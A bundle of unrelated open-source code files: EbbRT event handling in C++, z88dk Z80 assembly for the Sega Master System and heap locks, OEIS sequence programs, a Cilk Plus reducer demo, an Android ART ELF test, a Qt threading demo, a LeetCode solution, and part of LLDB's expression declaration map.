active_event_context_ = std::move(context);
SaveContextAndActivate(sync_contexts_.top(), active_event_context_);
}
uint8_t ebbrt::EventManager::AllocateVector(MovableFunction<void()> func) {
std::lock_guard<ebbrt::SpinLock> lock(vec_data->lock);
auto vec = vec_data->idx++;
auto handler = new InterruptHandler();
handler->interrupt = vec;
handler->func = std::move(func);
vec_data->map.insert(*handler);
return vec;
}
void ebbrt::EventManager::ProcessInterrupt(int num) {
apic::Eoi();
if (num == 32) {
// pull all remote tasks onto our queue
std::lock_guard<ebbrt::SpinLock> l(remote_.lock);
tasks_.splice(tasks_.end(), std::move(remote_.tasks));
} else if (num == 33) {
ReceiveToken();
} else {
auto ih = vec_data->map.find(num);
kassert(ih != nullptr);
auto& f = ih->func;
InvokeFunction(f);
}
Process();
}
uint32_t ebbrt::EventManager::GetEventId() {
return active_event_context_.event_id;
}
size_t ebbrt::EventManager::QueueLength() {
return tasks_.size();
}
std::unordered_map<__gthread_key_t, void*>& ebbrt::EventManager::GetTlsMap() {
if (unlikely(!active_event_context_.tls)) {
active_event_context_.tls.reset(
new std::unordered_map<__gthread_key_t, void*>());
}
return *active_event_context_.tls;
}
void ebbrt::EventManager::IdleCallback::Start() {
if (!started_) {
kbugon(event_manager->idle_callback_ != nullptr,
"Multiple idle callbacks!\n");
event_manager->idle_callback_ = &f_;
started_ = true;
}
}
void ebbrt::EventManager::IdleCallback::Stop() {
if (started_) {
event_manager->idle_callback_ = nullptr;
started_ = false;
}
}
ebbrt::EventManager::EventContext::EventContext() : cpu(Cpu::GetMine()) {}
ebbrt::EventManager::EventContext::EventContext(uint32_t event_id, Pfn stack)
: event_id(event_id), stack(stack), cpu(Cpu::GetMine()) {}
void ebbrt::EventManager::PassToken() {
size_t my_cpu_index = Cpu::GetMine();
if (Cpu::Count() > 1) {
auto next_cpu_index = (my_cpu_index + 1) % Cpu::Count();
auto next_cpu = Cpu::GetByIndex(next_cpu_index);
kassert(next_cpu != nullptr);
apic::Ipi(next_cpu->apic_id(), 33);
} else {
ReceiveToken();
}
}
void ebbrt::EventManager::ReceiveToken() {
pending_generation_ = generation_++;
StartTimer();
}
// Check Generation
void ebbrt::EventManager::Fire() {
if (generation_count_[pending_generation_ % 2] == 0) {
// generation complete
PassToken();
// temporarily store tasks that have now lived at least one entire
// generation (can be invoked)
auto tasks = std::move(prev_rcu_tasks_);
// current tasks stored
prev_rcu_tasks_ = std::move(curr_rcu_tasks_);
while (!tasks.empty()) {
auto& task = tasks.front();
SpawnLocal(std::move(task));
tasks.pop();
}
} else {
StartTimer();
}
}
void ebbrt::EventManager::StartTimer() {
timer->Start(*this, std::chrono::milliseconds(1),
/* repeat = */ false);
}
void ebbrt::EventManager::DoRcu(MovableFunction<void()> func) {
curr_rcu_tasks_.emplace(std::move(func));
}
|
; Startup Code for Sega Master System
;
; Haroldo O. Pinheiro February 2006
;
; $Id: sms_crt0.asm,v 1.20 2016-07-13 22:12:25 dom Exp $
;
DEFC ROM_Start = $0000
DEFC INT_Start = $0038
DEFC NMI_Start = $0066
DEFC CODE_Start = $0100
DEFC RAM_Start = $C000
DEFC RAM_Length = $2000
DEFC Stack_Top = $dff0
MODULE sms_crt0
;-------
; Include zcc_opt.def to find out information about us
;-------
defc crt0 = 1
INCLUDE "zcc_opt.def"
;-------
; Some general scope declarations
;-------
EXTERN _main ;main() is always external to crt0 code
PUBLIC cleanup ;jp'd to by exit()
PUBLIC l_dcal ;jp(hl)
PUBLIC raster_procs ;Raster interrupt handlers
PUBLIC pause_procs ;Pause interrupt handlers
PUBLIC timer ;This is incremented every time a VBL/HBL interrupt happens
PUBLIC _pause_flag ;This alternates between 0 and 1 every time pause is pressed
PUBLIC RG0SAV ;keeping track of VDP register values
PUBLIC RG1SAV
PUBLIC RG2SAV
PUBLIC RG3SAV
PUBLIC RG4SAV
PUBLIC RG5SAV
PUBLIC RG6SAV
PUBLIC RG7SAV
defc TAR__register_sp = Stack_Top
defc TAR__clib_exit_stack_size = 32
defc __CPU_CLOCK = 3580000
INCLUDE "crt/classic/crt_rules.inc"
org ROM_Start
jp start
defm "Sega Master System - Small C+"
;-------
; Interrupt handlers
;-------
filler1:
defs (INT_Start - filler1)
int_RASTER:
push af
in a, ($BF)
or a
jp p, int_not_VBL ; Bit 7 not set
;int_VBL:
push hl
ld hl, timer
ld a, (hl)
inc a
ld (hl), a
inc hl
ld a, (hl)
adc a, 1
ld (hl), a ;Increments the timer
ld hl, raster_procs
call int_handler
pop hl
int_not_VBL:
pop af
ei
ret
filler2:
defs (NMI_Start - filler2)
int_PAUSE:
push af
push hl
ld hl, _pause_flag
ld a, (hl)
xor a, 1
ld (hl), a
ld hl, pause_procs
call int_handler
pop hl
pop af
retn
int_handler:
push bc
push de
int_loop:
ld a, (hl)
inc hl
or (hl)
jr z, int_done
push hl
ld a, (hl)
dec hl
ld l, (hl)
ld h, a
call call_int_handler
pop hl
inc hl
jr int_loop
int_done:
pop de
pop bc
ret
call_int_handler:
jp (hl)
;-------
; Beginning of the actual code
;-------
filler3:
defs (CODE_Start - filler3)
start:
; Make room for the atexit() stack
INCLUDE "crt/classic/crt_init_sp.asm"
INCLUDE "crt/classic/crt_init_atexit.asm"
; Clear static memory
ld hl,RAM_Start
ld de,RAM_Start+1
ld bc,RAM_Length-1
ld (hl),0
ldir
call crt0_init_bss
ld (exitsp),sp
call DefaultInitialiseVDP
im 1
ei
; Entry to the user code
call _main
cleanup:
;
; Deallocate memory which has been allocated here!
;
push hl
IF CRT_ENABLE_STDIO = 1
EXTERN closeall
call closeall
ENDIF
endloop:
jr endloop
l_dcal:
jp (hl)
;---------------------------------
; VDP Initialization
;---------------------------------
DefaultInitialiseVDP:
push hl
push bc
ld hl,_Data
ld b,_End-_Data
ld c,$bf
otir
pop bc
pop hl
ret
DEFC SpriteSet = 0 ; 0 for sprites to use tiles 0-255, 1 for 256+
DEFC NameTableAddress = $3800 ; must be a multiple of $800; usually $3800; fills $700 bytes (unstretched)
DEFC SpriteTableAddress = $3f00 ; must be a multiple of $100; usually $3f00; fills $100 bytes
_Data:
defb @00000100,$80
; |||||||`- Disable synch
; ||||||`-- Enable extra height modes
; |||||`--- SMS mode instead of SG
; ||||`---- Shift sprites left 8 pixels
; |||`----- Enable line interrupts
; ||`------ Blank leftmost column for scrolling
; |`------- Fix top 2 rows during horizontal scrolling
; `-------- Fix right 8 columns during vertical scrolling
defb @10000000,$81
; |||| |`- Zoomed sprites -> 16x16 pixels
; |||| `-- Doubled sprites -> 2 tiles per sprite, 8x16
; |||`---- 30 row/240 line mode
; ||`----- 28 row/224 line mode
; |`------ Enable VBlank interrupts
; `------- Enable display
defb (NameTableAddress/1024) |@11110001,$82
defb $FF,$83
defb $FF,$84
defb (SpriteTableAddress/128)|@10000001,$85
defb (SpriteSet/2^2) |@11111011,$86
defb $f|$f0,$87
; `-------- Border palette colour (sprite palette)
defb $00,$88
; ``------- Horizontal scroll
defb $00,$89
; ``------- Vertical scroll
defb $ff,$8a
; ``------- Line interrupt spacing ($ff to disable)
_End:
INCLUDE "crt/classic/crt_runtime_selection.asm"
IF DEFINED_CRT_ORG_BSS
defc __crt_org_bss = CRT_ORG_BSS
ELSE
defc __crt_org_bss = RAM_Start
ENDIF
; If we were given a model then use it
IF DEFINED_CRT_MODEL
defc __crt_model = CRT_MODEL
ELSE
defc __crt_model = 1
ENDIF
INCLUDE "crt/classic/crt_section.asm"
SECTION bss_crt
raster_procs: defs 16 ;Raster interrupt handlers
pause_procs: defs 16 ;Pause interrupt handlers
timer: defw 0 ;This is incremented every time a VBL/HBL interrupt happens
_pause_flag: defb 0 ;This alternates between 0 and 1 every time pause is pressed
RG0SAV: defb 0 ;keeping track of VDP register values
RG1SAV: defb 0
RG2SAV: defb 0
RG3SAV: defb 0
RG4SAV: defb 0
RG5SAV: defb 0
RG6SAV: defb 0
RG7SAV: defb 0
; DEFINE SECTIONS FOR BANKSWITCHING
; consistent with appmake and new c library
IFNDEF CRT_ORG_BANK_02
defc CRT_ORG_BANK_02 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_03
defc CRT_ORG_BANK_03 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_04
defc CRT_ORG_BANK_04 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_05
defc CRT_ORG_BANK_05 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_06
defc CRT_ORG_BANK_06 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_07
defc CRT_ORG_BANK_07 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_08
defc CRT_ORG_BANK_08 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_09
defc CRT_ORG_BANK_09 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_0A
defc CRT_ORG_BANK_0A = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_0B
defc CRT_ORG_BANK_0B = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_0C
defc CRT_ORG_BANK_0C = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_0D
defc CRT_ORG_BANK_0D = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_0E
defc CRT_ORG_BANK_0E = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_0F
defc CRT_ORG_BANK_0F = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_10
defc CRT_ORG_BANK_10 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_11
defc CRT_ORG_BANK_11 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_12
defc CRT_ORG_BANK_12 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_13
defc CRT_ORG_BANK_13 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_14
defc CRT_ORG_BANK_14 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_15
defc CRT_ORG_BANK_15 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_16
defc CRT_ORG_BANK_16 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_17
defc CRT_ORG_BANK_17 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_18
defc CRT_ORG_BANK_18 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_19
defc CRT_ORG_BANK_19 = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_1A
defc CRT_ORG_BANK_1A = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_1B
defc CRT_ORG_BANK_1B = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_1C
defc CRT_ORG_BANK_1C = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_1D
defc CRT_ORG_BANK_1D = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_1E
defc CRT_ORG_BANK_1E = 0x8000
ENDIF
IFNDEF CRT_ORG_BANK_1F
defc CRT_ORG_BANK_1F = 0x8000
ENDIF
SECTION BANK_02
org CRT_ORG_BANK_02
SECTION BANK_03
org CRT_ORG_BANK_03
SECTION BANK_04
org CRT_ORG_BANK_04
SECTION BANK_05
org CRT_ORG_BANK_05
SECTION BANK_06
org CRT_ORG_BANK_06
SECTION BANK_07
org CRT_ORG_BANK_07
SECTION BANK_08
org CRT_ORG_BANK_08
SECTION BANK_09
org CRT_ORG_BANK_09
SECTION BANK_0A
org CRT_ORG_BANK_0A
SECTION BANK_0B
org CRT_ORG_BANK_0B
SECTION BANK_0C
org CRT_ORG_BANK_0C
SECTION BANK_0D
org CRT_ORG_BANK_0D
SECTION BANK_0E
org CRT_ORG_BANK_0E
SECTION BANK_0F
org CRT_ORG_BANK_0F
SECTION BANK_10
org CRT_ORG_BANK_10
SECTION BANK_11
org CRT_ORG_BANK_11
SECTION BANK_12
org CRT_ORG_BANK_12
SECTION BANK_13
org CRT_ORG_BANK_13
SECTION BANK_14
org CRT_ORG_BANK_14
SECTION BANK_15
org CRT_ORG_BANK_15
SECTION BANK_16
org CRT_ORG_BANK_16
SECTION BANK_17
org CRT_ORG_BANK_17
SECTION BANK_18
org CRT_ORG_BANK_18
SECTION BANK_19
org CRT_ORG_BANK_19
SECTION BANK_1A
org CRT_ORG_BANK_1A
SECTION BANK_1B
org CRT_ORG_BANK_1B
SECTION BANK_1C
org CRT_ORG_BANK_1C
SECTION BANK_1D
org CRT_ORG_BANK_1D
SECTION BANK_1E
org CRT_ORG_BANK_1E
SECTION BANK_1F
org CRT_ORG_BANK_1F
|
.include "defaults_item.asm"
table_file_jp equ "exe6-utf8.tbl"
table_file_en equ "bn6-utf8.tbl"
game_code_len equ 3
game_code equ 0x4252354A // BR5J
game_code_2 equ 0x42523545 // BR5E
game_code_3 equ 0x42523550 // BR5P
card_type equ 0
card_id equ 24
card_no equ "024"
card_sub equ "Item Card 024"
card_sub_x equ 62
card_desc_len equ 1
card_desc_1 equ "Baryl's Conviction"
card_desc_2 equ ""
card_desc_3 equ ""
card_name_jp_full equ "バレルの信念"
card_name_jp_game equ "バレルのしんねん"
card_name_en_full equ "Baryl's Conviction"
card_name_en_game equ "Baryl's Conviction"
card_game_desc_jp_len equ 3
card_game_desc_jp_1 equ "バレルのしんねん!"
card_game_desc_jp_2 equ "カーネルのナビチップ"
card_game_desc_jp_3 equ "3しゅるい を手に入れた!"
card_game_desc_en_len equ 3
card_game_desc_en_1 equ "Baryl's conviction!"
card_game_desc_en_2 equ "Got 3 types of"
card_game_desc_en_3 equ "Colonel NaviChips!" |
/*
* Copyright (C) 2011 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "common_test.h"
#include "oat.h"
#include "elf_file.h"
namespace art {
class ElfWriterTest : public CommonTest {
protected:
virtual void SetUp() {
ReserveImageSpace();
CommonTest::SetUp();
}
};
#define EXPECT_ELF_FILE_ADDRESS(ef, value, name, build_map) \
EXPECT_EQ(value, reinterpret_cast<void*>(ef->FindSymbolAddress(::llvm::ELF::SHT_DYNSYM, name, build_map))); \
EXPECT_EQ(value, ef->FindDynamicSymbolAddress(name)); \
TEST_F(ElfWriterTest, dlsym) {
std::string elf_filename;
if (IsHost()) {
const char* host_dir = getenv("ANDROID_HOST_OUT");
CHECK(host_dir != NULL);
elf_filename = StringPrintf("%s/framework/core.oat", host_dir);
} else {
elf_filename = "/data/art-test/core.oat";
}
LOG(INFO) << "elf_filename=" << elf_filename;
UnreserveImageSpace();
void* dl_oat_so = dlopen(elf_filename.c_str(), RTLD_NOW);
ASSERT_TRUE(dl_oat_so != NULL) << dlerror();
void* dl_oatdata = dlsym(dl_oat_so, "oatdata");
ASSERT_TRUE(dl_oatdata != NULL);
OatHeader* dl_oat_header = reinterpret_cast<OatHeader*>(dl_oatdata);
ASSERT_TRUE(dl_oat_header->IsValid());
void* dl_oatexec = dlsym(dl_oat_so, "oatexec");
ASSERT_TRUE(dl_oatexec != NULL);
ASSERT_LT(dl_oatdata, dl_oatexec);
void* dl_oatlastword = dlsym(dl_oat_so, "oatlastword");
ASSERT_TRUE(dl_oatlastword != NULL);
ASSERT_LT(dl_oatexec, dl_oatlastword);
ASSERT_EQ(0, dlclose(dl_oat_so));
UniquePtr<File> file(OS::OpenFileForReading(elf_filename.c_str()));
ASSERT_TRUE(file.get() != NULL);
{
UniquePtr<ElfFile> ef(ElfFile::Open(file.get(), false, false));
CHECK(ef.get() != NULL);
EXPECT_ELF_FILE_ADDRESS(ef, dl_oatdata, "oatdata", false);
EXPECT_ELF_FILE_ADDRESS(ef, dl_oatexec, "oatexec", false);
EXPECT_ELF_FILE_ADDRESS(ef, dl_oatlastword, "oatlastword", false);
}
{
UniquePtr<ElfFile> ef(ElfFile::Open(file.get(), false, false));
CHECK(ef.get() != NULL);
EXPECT_ELF_FILE_ADDRESS(ef, dl_oatdata, "oatdata", true);
EXPECT_ELF_FILE_ADDRESS(ef, dl_oatexec, "oatexec", true);
EXPECT_ELF_FILE_ADDRESS(ef, dl_oatlastword, "oatlastword", true);
}
{
UniquePtr<ElfFile> ef(ElfFile::Open(file.get(), false, true));
CHECK(ef.get() != NULL);
ef->Load(false);
EXPECT_EQ(dl_oatdata, ef->FindDynamicSymbolAddress("oatdata"));
EXPECT_EQ(dl_oatexec, ef->FindDynamicSymbolAddress("oatexec"));
EXPECT_EQ(dl_oatlastword, ef->FindDynamicSymbolAddress("oatlastword"));
}
}
} // namespace art
|
#include <QCoreApplication>
#include <QThread>
#include <iostream>
#include <string>
#include "windows.h"
static HANDLE g_event = nullptr;
static QString g_data;
class ReaderThread1 : public QThread
{
protected:
virtual void run() override
{
WaitForSingleObject(g_event, INFINITE);
ResetEvent(g_event);
std::cout << QThread::currentThreadId() << ": ReaderThread1: " << g_data.toStdString() << std::endl;
}
};
class ReaderThread2 : public QThread
{
protected:
virtual void run() override
{
WaitForSingleObject(g_event, INFINITE);
ResetEvent(g_event);
std::cout << QThread::currentThreadId() << ": ReaderThread2: " << g_data.toStdString() << std::endl;
}
};
class WriteThread : public QThread
{
protected:
virtual void run() override
{
Sleep(5000);
g_data = "global data!";
SetEvent(g_event);
}
};
int main(int argc, char *argv[])
{
g_event = CreateEvent(nullptr, TRUE, FALSE, nullptr);
WriteThread wt;
ReaderThread1 rt1;
ReaderThread2 rt2;
wt.start();
rt1.start();
rt2.start();
rt1.wait();
rt2.wait();
CloseHandle(g_event);
system("pause");
return 0;
}
|
SECTION code_clib
SECTION code_alloc_malloc
PUBLIC __heap_lock_release
PUBLIC __heap_lock_release_0
EXTERN asm_mtx_unlock
__heap_lock_release:
; Release the heap's lock
;
; enter : hl = void *heap
;
; exit : none
;
; uses : hl
push af
push bc
push de
call asm_mtx_unlock
pop de
pop bc
pop af
ret
__heap_lock_release_0:
; Release the heap's lock, alternate method
;
; enter : stack = ret, void *heap
;
; exit : none
;
; uses : none
ex (sp),hl ; hl = void *heap
call __heap_lock_release
pop hl
ret
|
; size_t wv_priority_queue_capacity_fastcall(wv_priority_queue_t *q)
SECTION code_adt_wv_priority_queue
PUBLIC _wv_priority_queue_capacity_fastcall
defc _wv_priority_queue_capacity_fastcall = asm_wv_priority_queue_capacity
INCLUDE "adt/wv_priority_queue/z80/asm_wv_priority_queue_capacity.asm"
|
; A030007: a(n) = (prime(n)-3)*(prime(n)-5)/8.
; 0,0,1,6,10,21,28,45,78,91,136,171,190,231,300,378,406,496,561,595,703,780,903,1081,1176,1225,1326,1378,1485,1891,2016,2211,2278,2628,2701,2926,3160,3321,3570,3828,3916,4371,4465,4656,4753,5356,5995,6216,6328,6555,6903,7021,7626,8001,8385,8778,8911,9316,9591,9730,10440,11476,11781,11935,12246,13366,13861,14706,14878,15225,15753,16471,17020,17578,17955,18528,19306,19701,20503,21528,21736,22791,23005,23653,24090,24753,25651,26106,26335,26796,28203,29161,29646,30628,31125,31878,33411,33670,36046,36856
seq $0,98090 ; Numbers k such that 2k-3 is prime.
sub $0,3
bin $0,2
|
// -*- C++ -*-
/*
* linear_recurrence.cpp
*
* Copyright (C) 2009-2012 Intel Corporation. All Rights Reserved.
*
* The source code contained or described herein and all
* documents related to the source code ("Material") are owned by
* Intel Corporation or its suppliers or licensors. Title to the
* Material remains with Intel Corporation or its suppliers and
* licensors. The Material is protected by worldwide copyright
* laws and treaty provisions. No part of the Material may be
* used, copied, reproduced, modified, published, uploaded,
* posted, transmitted, distributed, or disclosed in any way
* except as expressly provided in the license provided with the
* Materials. No license under any patent, copyright, trade
* secret or other intellectual property right is granted to or
* conferred upon you by disclosure or delivery of the Materials,
* either expressly, by implication, inducement, estoppel or
* otherwise, except as expressly provided in the license
* provided with the Materials.
*/
/*
A demonstration of an Intel(R) Cilk(TM) Plus reducer.
This example demonstrates the use of Intel(R) Cilk(TM) Plus reducerss to compute a
linear recurrence relation in parallel. Specifically,
given x_0, {a_1, ... , a_n}, and {b_1, ... , b_n}, the program
computes x_n according to the following recurrence relation:
x_k = a_k + b_k * x_{k-1} for 1 <= k <= n.
You would think that the recurrence is inherently sequential, and
that there is no way to compute x_k without knowing x_{k-1}.
However, the recurrence can be solved in parallel by first
rewriting it according to the following trick. Write the recurrence
as a linear recurrence over 2x1 vectors:
[ 1 ] [ 1 0 ] [ 1 ]
[ ] = [ ] * [ ]
[ x_k ] [ a_k b_k ] [ x_{k-1} ]
Because matrix product is associative, it is clear that the
problem can be solved by first computing the product
of the n 2x2 matrices
[ 1 0 ]
R_k = [ ] ,
[ a_k b_k ]
which can be computed in parallel.
The reducer Recurrence_Reducer below stores partial products
of the R_k matrices, and effects the associative reduction via
a specialized matrix multiplication.
*/
#include <stdio.h>
#include <cstdlib>
#include <iostream>
#include <cilk/cilk.h>
#include <cilk/reducer.h>
#include "cilktime.h"
extern "C++" {
//structure to hold parameter a, b
struct Para {
long a;
long b;
};
//reducer to store partial products of the R_k matrices,
//each R_k matrix is represented by value of a_k and b_k,
class Recurrence_Reducer
{
public:
// Per-strand view of the data
struct View
{
friend class Recurrence_Reducer;
public:
//Identity value for reducer: a = 0, b = 1,
//which gives a unit 2x2 matrix
View() : a(0), b(1) { }
private:
long a;
long b;
};
public:
// View of reducer data
struct Monoid: cilk::monoid_base<View>
{
static void reduce (View *left, View *right) {
left->a = right->a + left->a * right->b;
left->b = right->b * left->b;
}
};
private:
// Hyperobject to serve up views
cilk::reducer<Monoid> imp_;
public:
Recurrence_Reducer() : imp_() { }
// Update operations
inline Recurrence_Reducer& cal_next(const Para& value) {
View &v = imp_.view();
v.a = value.a + value.b * v.a;
v.b = value.b * v.b;
return *this;
}
long get_a() { return imp_.view().a; }
long get_b() { return imp_.view().b; }
};
}
//parallel code to compute linear recurrence
long compute_linear_rec_parallel (Para *list, int nn, long x_init) {
Recurrence_Reducer rr;
cilk_for(int i = 0; i < nn; ++i) {
rr.cal_next(list[i]);
}
return rr.get_a() + rr.get_b() * x_init;
}
inline long cal_next(long a, long b, long x) {
return a + b * x;
}
//sequential code to compute linear recurrence
long compute_linear_rec_sequential (Para *list, int nn, long x_init) {
long x = x_init;
for(int i = 0; i < nn; ++i) {
x = cal_next(list[i].a, list[i].b, x);
}
return x;
}
int main(int argc, char* argv[]) {
int nn = 5000000;
if (argc == 2) {
nn = std::atoi(argv[1]);
}
Para *plist = new Para[nn];
if (plist == NULL) {
std::cout << "Failed to create space for parameter list. " << std::endl;
return 1;
}
int x_initial = 12;
for(int i = 0; i < nn; i++) {
plist[i].a = rand() % 22 - 10 ;
plist[i].b = rand() % 13 - 6 ;
}
unsigned long long start_tick, end_tick;
start_tick = cilk_getticks();
long sr = compute_linear_rec_sequential(plist, nn, x_initial);
end_tick = cilk_getticks();
long t1 = (long)(end_tick - start_tick);
start_tick = cilk_getticks();
long pr = compute_linear_rec_parallel(plist, nn, x_initial);
end_tick = cilk_getticks();
long t2 = (long)(end_tick - start_tick);
if (sr == pr) {
std::cout << "the linear recurrence value is " << pr << std::endl;
std::cout << "time for sequential execution: " << t1 / 1000.f
<< std::endl;
std::cout << "time for parallel execution: " << t2 / 1000.f
<< std::endl;
return 0;
} else {
std::cout << "error processing linear recurrence: " << std::endl;
std::cout << "sequential version has value " << sr << " != "
<< pr << " of the parallel version" << std::endl;
return 1;
}
}
|
//@result 1101 / 1101 test cases passed. Status: Accepted Runtime: 8 ms Submitted: 0 minutes ago You are here! Your runtime beats 16.11% of cpp submissions.
class Solution {
public:
int addDigits(int num) {
int sum(0);
while (num) {
sum += num % 10;
num /= 10;
}
if (sum >= 10) {
return addDigits(sum);
}
return sum;
}
}; |
; A138188: Expansion of (1-2x-2x^2-x^3)/(1+x+x^2-x^3-x^4-x^5).
; 1,-3,0,3,-5,0,5,-7,0,7,-9,0,9,-11,0,11,-13,0,13,-15,0,15,-17,0,17,-19,0,19,-21,0,21,-23,0,23,-25,0,25,-27,0,27,-29,0,29,-31,0,31,-33,0,33,-35,0,35,-37,0,37,-39,0,39,-41,0,41
mov $1,$0
add $1,1
mov $2,1
lpb $1
sub $1,3
add $2,2
lpe
mul $1,$2
|
; A035936: Number of squares in (n^3, (n+1)^3 ].
; 1,1,3,3,3,3,4,4,5,4,5,5,5,6,6,6,6,6,6,7,7,7,7,7,8,7,8,8,8,8,8,9,8,9,9,9,9,9,9,9,10,10,9,10,10,10,11,10,11,10,11,10,11,11,11,12,11,11,12,11,12,12,12,12,12,12,12,12,13,12,13,12,13,13,13,13,13,13,14,13,14,13,14,13,14,14,14,14,14,14,15,14,14,15,14,15,15,15,15,15,15,15,15,15,15,16,15,16,15,16,16,16,16,16,16,16,16,16,17,16,17,16,17,16,17,17,17,17,17,17,17,17,17,18,17,18,17,18,17,18,18,18,18,18,18,18,18,18,18,19,18,18,19,19,18,19,19,19,18,19,19,19,20,19,19,19,20,19,20,19,20,19,20,20,20,19,20,20,20,20,21,20,20,20,21,20,21,20,21,20,21,21,21,21,21,21,21,21,21,21,21,21,22,21,22,21,22,21,22,22,21,22,22,22,22,22,22,22,22,23,22,22,23,22,23,22,23,22,23,23,22,23,23,23,23,23,23,23,23,24,23,23,23,24,23,24,23,24,24,23
mov $8,$0
mov $10,2
lpb $10
sub $10,1
add $0,$10
sub $0,1
mov $3,3
add $3,$0
mov $2,$3
sub $2,2
pow $2,3
sub $2,$1
add $1,$2
mov $3,3
lpb $0,2
trn $1,$3
add $3,2
lpe
mov $1,$3
sub $1,5
div $1,2
add $1,1
mov $11,$10
lpb $11
mov $9,$1
sub $11,1
lpe
lpe
lpb $8
mov $8,0
sub $9,$1
lpe
mov $1,$9
|
//===-- ClangExpressionDeclMap.cpp -----------------------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "ClangExpressionDeclMap.h"
#include "ASTDumper.h"
#include "ClangASTSource.h"
#include "ClangModulesDeclVendor.h"
#include "ClangPersistentVariables.h"
#include "lldb/Core/Address.h"
#include "lldb/Core/Module.h"
#include "lldb/Core/ModuleSpec.h"
#include "lldb/Core/RegisterValue.h"
#include "lldb/Core/ValueObjectConstResult.h"
#include "lldb/Core/ValueObjectVariable.h"
#include "lldb/Expression/Materializer.h"
#include "lldb/Symbol/ClangASTContext.h"
#include "lldb/Symbol/CompileUnit.h"
#include "lldb/Symbol/CompilerDecl.h"
#include "lldb/Symbol/CompilerDeclContext.h"
#include "lldb/Symbol/Function.h"
#include "lldb/Symbol/ObjectFile.h"
#include "lldb/Symbol/SymbolContext.h"
#include "lldb/Symbol/SymbolFile.h"
#include "lldb/Symbol/SymbolVendor.h"
#include "lldb/Symbol/Type.h"
#include "lldb/Symbol/TypeList.h"
#include "lldb/Symbol/Variable.h"
#include "lldb/Symbol/VariableList.h"
#include "lldb/Target/CPPLanguageRuntime.h"
#include "lldb/Target/ExecutionContext.h"
#include "lldb/Target/ObjCLanguageRuntime.h"
#include "lldb/Target/Process.h"
#include "lldb/Target/RegisterContext.h"
#include "lldb/Target/StackFrame.h"
#include "lldb/Target/Target.h"
#include "lldb/Target/Thread.h"
#include "lldb/Utility/Endian.h"
#include "lldb/Utility/Log.h"
#include "lldb/Utility/Status.h"
#include "lldb/lldb-private.h"
#include "clang/AST/ASTConsumer.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/ASTImporter.h"
#include "clang/AST/Decl.h"
#include "clang/AST/DeclarationName.h"
#include "clang/AST/RecursiveASTVisitor.h"
#include "Plugins/Language/CPlusPlus/CPlusPlusLanguage.h"
using namespace lldb;
using namespace lldb_private;
using namespace clang;
namespace {
const char *g_lldb_local_vars_namespace_cstr = "$__lldb_local_vars";
} // anonymous namespace
ClangExpressionDeclMap::ClangExpressionDeclMap(
bool keep_result_in_memory,
Materializer::PersistentVariableDelegate *result_delegate,
ExecutionContext &exe_ctx)
: ClangASTSource(exe_ctx.GetTargetSP()), m_found_entities(),
m_struct_members(), m_keep_result_in_memory(keep_result_in_memory),
m_result_delegate(result_delegate), m_parser_vars(), m_struct_vars() {
EnableStructVars();
}
ClangExpressionDeclMap::~ClangExpressionDeclMap() {
// Note: The model is now that the parser's AST context and all associated
// data does not vanish until the expression has been executed. This means
// that valuable lookup data (like namespaces) doesn't vanish, but
DidParse();
DisableStructVars();
}
bool ClangExpressionDeclMap::WillParse(ExecutionContext &exe_ctx,
Materializer *materializer) {
ClangASTMetrics::ClearLocalCounters();
EnableParserVars();
m_parser_vars->m_exe_ctx = exe_ctx;
Target *target = exe_ctx.GetTargetPtr();
if (exe_ctx.GetFramePtr())
m_parser_vars->m_sym_ctx =
exe_ctx.GetFramePtr()->GetSymbolContext(lldb::eSymbolContextEverything);
else if (exe_ctx.GetThreadPtr() &&
exe_ctx.GetThreadPtr()->GetStackFrameAtIndex(0))
m_parser_vars->m_sym_ctx =
exe_ctx.GetThreadPtr()->GetStackFrameAtIndex(0)->GetSymbolContext(
lldb::eSymbolContextEverything);
else if (exe_ctx.GetProcessPtr()) {
m_parser_vars->m_sym_ctx.Clear(true);
m_parser_vars->m_sym_ctx.target_sp = exe_ctx.GetTargetSP();
} else if (target) {
m_parser_vars->m_sym_ctx.Clear(true);
m_parser_vars->m_sym_ctx.target_sp = exe_ctx.GetTargetSP();
}
if (target) {
m_parser_vars->m_persistent_vars = llvm::cast<ClangPersistentVariables>(
target->GetPersistentExpressionStateForLanguage(eLanguageTypeC));
if (!target->GetScratchClangASTContext())
return false;
}
m_parser_vars->m_target_info = GetTargetInfo();
m_parser_vars->m_materializer = materializer;
return true;
}
